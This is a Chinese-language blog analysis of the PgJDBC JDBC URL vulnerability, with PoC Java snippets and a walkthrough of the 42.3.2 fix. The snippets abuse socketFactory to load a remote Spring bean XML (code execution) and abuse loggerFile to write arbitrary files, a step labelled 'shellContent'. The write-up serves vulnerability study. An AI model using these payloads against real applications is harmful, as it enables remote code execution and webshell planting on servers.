前言
无。
漏洞影响
9.4.1208 <= PgJDBC < 42.2.25
42.3.0 <= PgJDBC < 42.3.2
环境搭建
maven依赖:
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
漏洞分析
参考文章使用的测试用漏洞代码:
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=" + socketFactoryClass + "&socketFactoryArg=" + socketFactoryArg;
DriverManager.getConnection(jdbcUrl);
感觉跟之前的很像JXPath漏洞的利用方式,应该是数据库连接过程中会有指定对象实例化的过程。
运行一下就可以看到找不到类的报错,定位到SocketFactoryFactory类的getSocketFactory函数:
String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info);
if (socketFactoryClassName == null) {
return SocketFactory.getDefault();
}
try {
return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true,
PGProperty.SOCKET_FACTORY_ARG.get(info));
} catch (Exception e) {
...
}
调用ObjectFactory.instantiate函数实例化了输入的jdbc url中配置的工厂类:
@Nullable Object[] args = {info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException ignored) {
}
if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);
args = new String[]{stringarg};
} catch (NoSuchMethodException ignored) {
}
}
if (ctor == null) {
ctor = cls.getConstructor();
args = new Object[0];
}
return ctor.newInstance(args);
可以看到,这里在寻找构造函数的时候存在参数要求:
参数为Properties
或者参数为String
或者无参
可利用的也没多少了。
漏洞利用
函数调用1
加上spring-context-support依赖,开启tomcat,xml就用JXPath同款就行,漏洞正常触发。
函数调用2
参数改成sslfactory和sslfactoryarg,看起来需要一个数据库服务端。
文件写
参数改成loggerLevel和loggerFile:
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent = "test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=" + loggerLevel + "&loggerFile=" + loggerFile+ "&" + shellContent;
DriverManager.getConnection(jdbcUrl);
Postgres数据库引擎在解析完URL后建立连接前会调用setupLoggerFromProperties函数,其中会打开日志文件:
final String driverLogFile = PGProperty.LOGGER_FILE.get(exprProps);
...
java.util.logging.Handler handler = null;
if (driverLogFile != null) {
try {
handler = new java.util.logging.FileHandler(driverLogFile);
loggerHandlerFile = driverLogFile;
} catch (Exception ex) {
...
}
}
没有目录校验,但是日志内容比较复杂,包括jdbc url,函数调用栈和异常等等。
漏洞修复
猜测修复方式是限制工厂类的类型,将postgresql依赖换成42.3.2版本的,会发现报错:
警告: JDBC URL contains too many / characters
找到org.postgresql.Driver类的parseURL函数,可以看到其对/出现的次数做了限制:
if (!urlServer.equals("//") && !urlServer.equals("///")) {
if (urlServer.startsWith("//")) {
urlServer = urlServer.substring(2);
long slashCount = urlServer.chars().filter((ch) -> {
return ch == 47;
}).count();
if (slashCount > 1L) {
LOGGER.log(Level.WARNING, "JDBC URL contains too many / characters: {0}", url);
return null;
}
...
}
...
}
除去开头的//外只能出现一次/,而端口和数据库名之间肯定要有一个/,所以参数里是肯定不能有/了,想从外面加载xml也就行不通了。
此时阅读代码可以发现,如果jdbc url的引擎后没有//,就会进入另一个代码块,那里面没有对/的次数限制,但是到了getSocketFactory调用构造函数时:
return (SocketFactory)ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, PGProperty.SOCKET_FACTORY_ARG.get(info));
多了一个SocketFactory.class的输入参数,后续加载类时:
Class cls = Class.forName(classname).asSubclass(expectedClass);
要求工厂类要是SocketFactory的子类,基本上已经修好了。
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!